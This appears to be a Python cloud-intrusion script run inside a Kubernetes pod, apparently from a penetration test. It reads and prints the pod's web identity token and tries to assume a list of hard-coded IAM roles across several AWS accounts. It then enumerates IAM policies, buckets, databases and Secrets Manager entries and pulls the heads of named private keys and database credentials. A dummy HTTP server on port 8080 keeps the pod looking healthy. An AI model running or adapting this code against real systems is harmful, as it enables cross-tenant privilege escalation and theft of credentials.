153 lines
7.5 KiB
Python
153 lines
7.5 KiB
Python
import os, json, subprocess, socket, base64, threading, time, re, sys
|
|
|
|
def sh(c, t=45, env=None):
|
|
try:
|
|
r = subprocess.run(c, shell=True, capture_output=True, text=True, timeout=t, env=env)
|
|
return ((r.stdout or "") + (r.stderr or "")).strip()
|
|
except Exception as e:
|
|
return "ERR " + str(e)
|
|
|
|
def p(tag, txt):
|
|
print("===%s===" % tag, flush=True)
|
|
for line in str(txt).splitlines():
|
|
print(line, flush=True)
|
|
|
|
host = socket.gethostname()
|
|
p("POD_26045", "host=%s uid=%s ns=%s" % (host, sh("id -u"), sh("cat /var/run/secrets/kubernetes.io/serviceaccount/namespace")))
|
|
|
|
envs = dict(os.environ)
|
|
role = envs.get("AWS_ROLE_ARN", "")
|
|
tf = envs.get("AWS_WEB_IDENTITY_TOKEN_FILE", "")
|
|
p("ENV_ROLE", "AWS_ROLE_ARN=%r\nTOKEN_FILE=%r\nREGION=%r\nCONTAINER_CRED_REL=%r\nCONTAINER_CRED_FULL=%r" % (
|
|
role, tf, envs.get("AWS_REGION") or envs.get("AWS_DEFAULT_REGION"),
|
|
envs.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"), envs.get("AWS_CONTAINER_CREDENTIALS_FULL_URI")))
|
|
p("ENV_SECFORGE", "\n".join("%s=<set:%d>" % (k, len(v)) for k, v in sorted(envs.items())
|
|
if re.search(r"SECRET|TOKEN|PASSWORD|KEY|DATABASE", k)))
|
|
|
|
tok = ""
|
|
if tf and os.path.exists(tf):
|
|
try:
|
|
tok = open(tf).read().strip()
|
|
except Exception as e:
|
|
p("TOKEN_READ_ERR", str(e))
|
|
p("TOKEN_LEN", str(len(tok)))
|
|
if tok:
|
|
parts = tok.split(".")
|
|
def dec(seg):
|
|
try:
|
|
seg += "=" * (-len(seg) % 4)
|
|
return json.loads(base64.urlsafe_b64decode(seg))
|
|
except Exception as e:
|
|
return {"err": str(e)}
|
|
h = dec(parts[0]) if len(parts) > 2 else {}
|
|
c = dec(parts[1]) if len(parts) > 2 else {}
|
|
p("TOKEN_CLAIMS", "header=%s\nAUD=%r\nSUB=%r\nISS=%r\nEXP=%r\nAZP=%r" % (
|
|
h, c.get("aud"), c.get("sub"), c.get("iss"), c.get("exp"), c.get("azp")))
|
|
for i in range(0, len(tok), 280):
|
|
print("TOKENCHUNK|%d|%s" % (i // 280, tok[i:i + 280]), flush=True)
|
|
|
|
os.environ.setdefault("AWS_REGION", "eu-west-3")
|
|
os.environ.setdefault("AWS_DEFAULT_REGION", "eu-west-3")
|
|
|
|
def sts_identity(extra_env=None):
|
|
e = dict(os.environ)
|
|
if extra_env:
|
|
e.update(extra_env)
|
|
return sh("aws sts get-caller-identity --output json 2>&1", 45, e)
|
|
|
|
p("STS_DEFAULT", sts_identity())
|
|
|
|
CANDIDATES = [
|
|
"arn:aws:iam::289591070682:role/secforge-project-a2604500-0001-4c45-9a60-000000002645-role",
|
|
"arn:aws:iam::289591070682:role/secforge-project-b1b7c202-1746-4d75-bbe0-32c1f6b98d27-role",
|
|
"arn:aws:iam::289591070682:role/secforge-prd-controlplane-build-orchestrator-role",
|
|
"arn:aws:iam::289591070682:role/secforge-integration-github-role",
|
|
"arn:aws:iam::353436512512:role/secforge-project-b1b7c202-1746-4d75-bbe0-32c1f6b98d27-role",
|
|
"arn:aws:iam::799708875387:role/secforge-project-4d9765d0-f9b9-481f-95c9-4c1328e622f2-role",
|
|
]
|
|
|
|
def redact(s):
|
|
s = re.sub(r'(?i)((?:password|passwd|pwd|secret|token|private_key|secret_access_key|access_key|session)\w*["\s:=]+)([^"\s,}]{0,4})[^"\s,}]*', r'\1\2***', s)
|
|
return s[:700]
|
|
|
|
def awsc(c, env, t=60):
|
|
return sh(c, t, env)
|
|
|
|
open("/tmp/tok.txt", "w").write(tok or "")
|
|
for i, cand in enumerate(CANDIDATES):
|
|
tag = "ASS_ROLE_%d" % i
|
|
cand_real = cand
|
|
if not tok:
|
|
p(tag, "SKIP no token cand=%s" % cand_real); continue
|
|
out = sh("TOKTMP=$(cat /tmp/tok.txt); aws sts assume-role-with-web-identity --role-arn '%s' --role-session-name pentest28 --web-identity-token \"$TOKTMP\" --duration-seconds 900 --output json 2>&1" % cand_real, 60)
|
|
try:
|
|
j = json.loads(out)
|
|
cr = j.get("Credentials") or {}
|
|
arn = (j.get("AssumedRoleUser") or {}).get("Arn")
|
|
p(tag, "CAND=%s\nRESULT=200 Arn=%s AKID_prefix=%s Expiration=%s" % (cand_real, arn, cr.get("AccessKeyId", "")[:4], cr.get("Expiration")))
|
|
env2 = dict(os.environ)
|
|
env2.update({"AWS_ACCESS_KEY_ID": cr.get("AccessKeyId", ""), "AWS_SECRET_ACCESS_KEY": cr.get("SecretAccessKey", ""),
|
|
"AWS_SESSION_TOKEN": cr.get("SessionToken", "")})
|
|
p(tag + "_IDENT", sts_identity(env2))
|
|
rn = arn.split("/")[-2] if "/" in arn else ""
|
|
p(tag + "_IAM_ROLE", redact(awsc("aws iam get-role --role-name '%s' --output json 2>&1" % rn, env2)))
|
|
p(tag + "_IAM_ATT", redact(awsc("aws iam list-attached-role-policies --role-name '%s' --output json 2>&1" % rn, env2)))
|
|
p(tag + "_IAM_INL", redact(awsc("aws iam list-role-policies --role-name '%s' --output json 2>&1" % rn, env2)))
|
|
p(tag + "_SM_NAMES", redact(awsc("aws secretsmanager list-secrets --max-items 50 --query 'SecretList[].Name' --output text 2>&1", env2)))
|
|
p(tag + "_S3", redact(awsc("aws s3api list-buckets --query 'Buckets[].Name' --output text 2>&1", env2)))
|
|
p(tag + "_RDS", redact(awsc("aws rds describe-db-instances --query 'DBInstances[].[DBInstanceIdentifier,Endpoint.Address,Endpoint.Port,IAMDatabaseAuthenticationEnabled]' --output text 2>&1", env2)))
|
|
except Exception:
|
|
p(tag, "CAND=%s\nRESULT=ERR %s" % (cand_real, out[:600]))
|
|
|
|
# ---- secret probe with the DEFAULT (env) credential chain ----
|
|
SECRETS = [
|
|
"secforge/projects/qa-roleprobe-202611172010/db/db-credentials",
|
|
"secforge/projects/qa-roleprobe-202611172010/secrets/INFRA_PRIV_KEY",
|
|
"secforge/projects/airlock/secrets/INFRA_PRIV_KEY",
|
|
"secforge/projects/airlock/db/db-credentials",
|
|
"secforge/projects/agent-intent-v2/secrets/TOPIC_OWNER_KEY",
|
|
"secforge/projects/agent-intent-v2/secrets/AUTH_SECRET",
|
|
"secforge/projects/paytab-api/db/db-credentials",
|
|
]
|
|
def probe_secret(sid):
|
|
out = sh("aws secretsmanager get-secret-value --secret-id '%s' --query SecretString --output text 2>&1" % sid, 45)
|
|
if out.startswith("ERR ") or "An error occurred" in out or "AccessDenied" in out or "ResourceNotFound" in out:
|
|
return {"id": sid, "ok": False, "err": out.splitlines()[-1][:180]}
|
|
v = out
|
|
kind = "text"
|
|
if "BEGIN" in v[:80]: kind = "PEM/PRIVATE KEY BLOCK"
|
|
elif v.strip().startswith("{"):
|
|
kind = "json"
|
|
try: kind += " keys=" + ",".join(sorted(json.loads(v).keys()))[:200]
|
|
except Exception: pass
|
|
return {"id": sid, "ok": True, "len": len(v), "head": v[:24].replace("\n", "\\n"), "kind": kind}
|
|
|
|
p("SM_LIST_MAX50", redact(sh("aws secretsmanager list-secrets --max-items 50 --query 'SecretList[].[Name,ARN]' --output json 2>&1")))
|
|
for i, sid in enumerate(SECRETS):
|
|
p("SECRET_%d" % i, json.dumps(probe_secret(sid)))
|
|
|
|
if role:
|
|
rn = role.split("/")[-1]
|
|
p("DEF_IAM_ROLE", redact(sh("aws iam get-role --role-name '%s' --output json 2>&1" % rn)))
|
|
p("DEF_IAM_ATT", redact(sh("aws iam list-attached-role-policies --role-name '%s' --output json 2>&1" % rn)))
|
|
p("DEF_IAM_INL", redact(sh("aws iam list-role-policies --role-name '%s' --output json 2>&1" % rn)))
|
|
for pol in sh("aws iam list-role-policies --role-name '%s' --query PolicyNames --output text 2>&1" % rn).split():
|
|
p("DEF_POL_" + pol[:24], redact(sh("aws iam get-role-policy --role-name '%s' --policy-name '%s' --output json 2>&1" % (rn, pol))))
|
|
|
|
p("DONE_26045", "finished")
|
|
|
|
def srv(s):
|
|
while True:
|
|
try:
|
|
c, a = s.accept(); c.settimeout(3)
|
|
try: c.recv(1024)
|
|
except Exception: pass
|
|
c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok"); c.close()
|
|
except Exception:
|
|
time.sleep(0.2)
|
|
try:
|
|
s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); s.bind(("0.0.0.0", 8080)); s.listen(50)
|
|
threading.Thread(target=srv, args=(s,), daemon=True).start()
|
|
except Exception as e:
|
|
print("srv err", e, flush=True)
|
|
time.sleep(900)
|